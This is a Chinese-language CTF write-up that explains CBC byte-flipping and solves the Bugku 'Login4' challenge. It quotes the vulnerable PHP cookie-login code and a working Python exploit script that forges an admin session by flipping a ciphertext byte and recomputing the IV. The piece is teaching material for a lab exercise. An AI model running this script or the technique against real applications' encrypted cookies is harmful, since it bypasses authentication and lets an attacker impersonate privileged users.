CBC 字节翻转攻击记录—以 Bugku 题目为例

简介: 博客本文地址:https://www.yourhome.ren/index.php/sec/366.html经典的CBC字节翻转攻击,还是有必要再通过一篇博文来记录一下的,也是作为一枚菜鸡的备忘录。

博客本文地址:https://www.yourhome.ren/index.php/sec/366.html

经典的CBC字节翻转攻击,还是有必要再通过一篇博文来记录一下的,也是作为一枚菜鸡的备忘录。

0x01 CBC加密流程

CBC加密的特性,简述来说:
明文首先被分割成等长的若干个明文块,每个明文块将作为下一个明文块加密过程中输入的一部分,从而影响到下一个明文块的加密结果。在一般情况下,明文会被分成等长的16字节的明文块,不足16字节部分,会用特殊填充符填充,图示如下:

snipaste20180604_165300.png
snipaste20180604_165300.png

这其中有一个重要输入IV,是随机生成的初始向量,它影响第一个明文块的结果,并且将传递到整个加密链中,以保证对同一明文每次的加密结果都是不同的。

需要注意的是,CBC模式中涉及到的异或运算,是本次进行CBC翻转攻击的关键所在。

0x02 CBC翻转攻击利用点

类似于CBC加密的过程,CBC解密的过程也是将当前的密文块作为下一个密文块参与运算的输入,具体如图:

snipaste20180604_173055.png
snipaste20180604_173055.png

假设我们修改了第一个密文块的第4个字节,那么根据CBC模式的解密,它将影响下一个密文块的解密结果,如图标红部分:

snipaste20180604_173204.png
snipaste20180604_173204.png

而在上述的影响过程中,只涉及到异或运算,这里异或运算的特性就十足重要了!

已知A=B^C
可以得到结论B=A^C
并且也能得到A^C^B=0

上述结论拿到这里的CBC翻转攻击假设中看

设第一块的第4个字节设为变量A,第二块的明文中第4个字节设为变量C,在第二块加密产生的第4个字节设为变量B
因为A^B=C,根据结论有B=A^C
如果人为将A变量值改变为A^C的结果,那么参与运算后A^B将等于A^C^B=B^B=0,第二个产生的明文的第4个字节将变为0
如果将A变量值改变为A^C^X(这里X是任意字符),那么参与运算后,A^B将等于A^C^X^B=B^X^B=X,第二个产生的明文的第4个字节将变为X字符,这样,第二块密文块解密的结果就可控了!

上面这个简单的阐述,就是CBC翻转攻击实现的核心,下面以实例来继续说明。

0x03 Bugku的例题

题目名称:Login4
题目地址:http://118.89.219.210:49168/

访问题目是一个登陆界面:

snipaste20180604_170922.png
snipaste20180604_170922.png

先直接扔到扫描器,找到备份文件:

snipaste20180604_171107.png
snipaste20180604_171107.png
这里也推一波自己也日常用的CTF扫描器scanCTF:
https://github.com/MRdoulestar/scanCTF

拿到源码进行代码审计,这里列出主要逻辑代码(已给出注释):

//设置cookie的流程调用的函数,返回一个随机的iv和使用该iv加密的post提交的username和password的结果——cipher
function login($info){
    $iv = get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    $_SESSION['username'] = $info['username'];
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}

//检查函数,这里是对cookie中cipher和iv进行CBC翻转的利用点
function check_login(){
    //如果cookie中设置了cipher和iv参数
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        //将cipher和iv参数都进行base64解码
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        //进行CBC模式的AES解密
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            //对解密结果进行反序列化,设置session中的username为反序列化后数组中的username的值
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $_SESSION['username'] = $info['username'];
        }else{
            die("ERROR!");
        }
    }
}
//根据session中username参数,控制显示结果
function show_homepage(){
    //如果session中的username为admin,则返回flag
    if ($_SESSION["username"]==='admin'){
        echo '<p>Hello admin</p>';
        echo '<p>Flag is $flag</p>';
    }else{
        echo '<p>hello '.$_SESSION['username'].'</p>';
        echo '<p>Only admin can see flag</p>';
    }
    echo '<p><a href="loginout.php">Log out</a></p>';
}
//检查是否带有username和password参数,如果有参数,进入设置cookie的路径
//如果没有设置参数,进入判断cookie路径
if(isset($_POST['username']) && isset($_POST['password'])){
    $username = (string)$_POST['username'];
    $password = (string)$_POST['password'];
    //不允许提交的username为admin
    if($username === 'admin'){
        exit('<p>admin are not allowed to login</p>');
    }else{
        $info = array('username'=>$username,'password'=>$password);
        login($info);
        show_homepage();
    }
}else{
    //如果session中的username字段已经存在了,既登陆过了,则进入
    if(isset($_SESSION["username"])){
        check_login();
        show_homepage();
    }else{
    .................
    }

以上代码考察了CBC翻转攻击的利用。它禁止直接提交用户名为admin进行登陆,但是返回flag的条件又是session中用户名要是admin。所以需要构造类似"xdmin"形式或者"axmin"等形式的用户名,之后通过修改iv和cipher,通过CBC翻转攻击将字符x还原成"admin"

代码中涉及到了序列化,数组序列化结果参考如下(这里使用ydmin和123作为username和password):
a:2:{s:8:"username";s:5:"ydmin";s:8:"password";s:3:"123"}

攻击过程如下:

1、修改能够得到的密文的第一块(前16个字节),使得第二块密文块结果的字符中ydmin能变成admin
2、由于操作1导致第一块密文块解密后得到错误结果,修正IV初始化向量,将第一块的明文结果还原成a:2:{s:8:"userna

攻击实现Python脚本:

#!/bin/env python
import base64
import urllib
import requests
import re

session = "uubpkpbv56dtkiorccjc8md3r0"
cipher = "gn5OKkTDH1CXJv9w11bK7JEqnhzhGSzVs84FNwZ2Zfi1c1PEeQdF1jUXn2lIy3SInj8pJiVajWEF73Fl%2BgLThA%3D%3D"
iv = "PGUt3F%2FPwu93r7DGTBQvKg%3D%3D"

#进行url编码解码和base64解码操作
iv_raw = base64.b64decode(urllib.unquote(iv))
cipher_raw = base64.b64decode(urllib.unquote(cipher))
#a:2:{s:8:"username";s:5:"ydmin";s:8:"password";s:3:"123"}

#计算修正cipher,使得第二块的y可以变成a(原理回顾上述异或结论)
cipher_new = cipher_raw[0:9] + chr(ord(cipher_raw[9]) ^ ord('y') ^ ord('a') )  + cipher_raw[10:]
cipher_new = urllib.quote(base64.b64encode(cipher_new))
print cipher_new
#########################################################
#拿新的cipher作为cookie访问,拿到继续修正iv的数据
url="http://118.89.219.210:49168/index.php"
cooky={
    "iv":iv,
    "cipher":cipher_new,
    "PHPSESSID":session
}
#这里本地测试,使用了Burpsuit代理
proxy={
    "http":"http://192.168.155.1:8082"
}
x = requests.session()
res = x.get(url, cookies=cooky, proxies=proxy)
text = str(res.text)
#print text
########################################################
#使用正则提取目前cipher解密后的结果(第一块损坏)
prog = re.compile("decode\('(.*)'\)")
match = prog.search(text)
new_plain = ""
if match:
    new_plain = match.group(1)
#print new_plain
new_plain = base64.b64decode(new_plain)
########################################################
#对iv进行修正,使得新的iv可以使得第一块密文块解密得到正确结果
real_first_blk = 'a:2:{s:8:"userna'
iv_new=""
for i in range(0,16):
    iv_new += chr(ord(iv_raw[i]) ^ ord(new_plain[i]) ^ ord(real_first_blk[i])) 

print urllib.quote(base64.b64encode(iv_new))

最终得到计算得到的cipher和iv:

root@dbstar-virtual-machine:~# python cbc_cipher.py
gn5OKkTDH1CXPv9w11bK7JEqnhzhGSzVs84FNwZ2Zfi1c1PEeQdF1jUXn2lIy3SInj8pJiVajWEF73Fl%2BgLThA%3D%3D
WsHICjaxJEd2co8CBheYAA%3D%3D

访问即可:

snipaste20180604_212751.png
snipaste20180604_212751.png

0x04 总结和参考

CBC翻转攻击的文章和博客已经很多了,但不亲手实现配合着写一篇,仍然觉得不能彻底掌握,因此有了这篇文章,也是自己的一个备忘录。
如有不足和不对的地方,还请指出和谅解。

参考:
https://blog.csdn.net/csu_vc/article/details/79619309

目录
相关文章
|
缓存 负载均衡 算法
“软件系统三高问题”高并发、高性能、高可用系统设计经验
​ 总的来说解决三高问题核心就是 “分字诀” 业务分层、系统分级、服务分布、数据库分库/表、动静分离、同步拆分成异步、单线程分解成多线程、原数据缓存分离、分流等等。。。。 直观的表述就是:从前端用的CDN、动静分离,到后台服务拆分成微服务、分布式、负载均衡、缓存、池化、多线程、IO、分库表、搜索引擎等等。都是强调一个“分”字。
5067 0
“软件系统三高问题”高并发、高性能、高可用系统设计经验
|
存储 缓存 关系型数据库
【MySQL进阶-08】深入理解innodb存储格式,双写机制,buffer pool底层结构和淘汰策略
【MySQL进阶-08】深入理解innodb存储格式,双写机制,buffer pool底层结构和淘汰策略
1772 0
|
11月前
|
安全 网络协议 网络安全
阿里云95弹性QPS模式是什么?DDoS高防的95弹性QPS模式说明
阿里云DDoS高防95弹性QPS模式是一种按量后付费机制,支持日95和月95两种计费方式,保障业务在QPS突发时免受限流。实际QPS超保底但未超弹性上限(最高3倍保底)时正常转发并按超出部分计费,适用于大促、新业务上线等流量突增场景。
576 6
|
机器学习/深度学习 人工智能 自然语言处理
《从语言学理论到自然语言处理:筑牢技术根基》
在人工智能时代,自然语言处理(NLP)技术如智能语音助手、机器翻译等深刻改变生活与工作方式。其背后离不开语言学理论支撑,包括句法学解析句子结构、语义学解锁语言意义、语用学融入语境理解。句法学通过依存关系分析帮助计算机识别语法成分;语义学利用语义角色标注和向量表示提升语义理解;语用学结合对话历史和背景知识,实现更自然的交互。语言学与NLP协同发展,共同推动技术进步。
556 48
|
机器学习/深度学习 搜索推荐 语音技术
前沿探索:融合语音克隆与TTS技术实现个性化语音助手
【10月更文挑战第20天】随着人工智能技术的迅猛发展,语音助手已经成为我们日常生活不可或缺的一部分。然而,传统的语音助手往往缺乏个性化元素,无法充分满足用户的独特需求。作为技术专家或研究人员,我一直致力于探索如何将语音克隆(Voice Cloning)技术与文本到语音(Text-to-Speech, TTS)技术相结合,创造出更加个性化且自然流畅的语音助手。本文将分享我的研究成果和个人观点,希望能为这一领域的未来发展提供一些启示。
920 2
前沿探索:融合语音克隆与TTS技术实现个性化语音助手
|
人工智能 安全 机器人
5G视频客服落地指南
本文介绍了企业如何开通IMS线路、呼叫中心软硬件升级改造及我司视频客服系统。内容涵盖5G视频通话背景、资费、普及情况与政策支持,详细说明了IMS线路的作用、开通流程及所需材料,呼叫中心升级要点,并展示了我司视频客服系统的功能和优势。视频客服结合5G技术,可显著提升服务效率和客户满意度。欢迎交流,电话:15005600327。
|
数据管理 Linux 文件存储
本地文件系统
【10月更文挑战第12天】
709 3
|
存储 SQL 缓存
Apache Doris 3.0 里程碑版本|存算分离架构升级、湖仓一体再进化
从 3.0 系列版本开始,Apache Doris 开始支持存算分离模式,用户可以在集群部署时选择采用存算一体模式或存算分离模式。基于云原生存算分离的架构,用户可以通过多计算集群实现查询负载间的物理隔离以及读写负载隔离,并借助对象存储或 HDFS 等低成本的共享存储系统来大幅降低存储成本。
1347 0
Apache Doris 3.0 里程碑版本|存算分离架构升级、湖仓一体再进化
|
安全 Shell Linux
Webshell管理工具:AntSword(中国蚁剑)
中国蚁剑的下载、安装、详细使用步骤
18416 1
|
存储 Kubernetes 负载均衡
k8s 数据流向 与 核心概念详细介绍
k8s 数据流向 与 核心概念详细介绍

热门文章

最新文章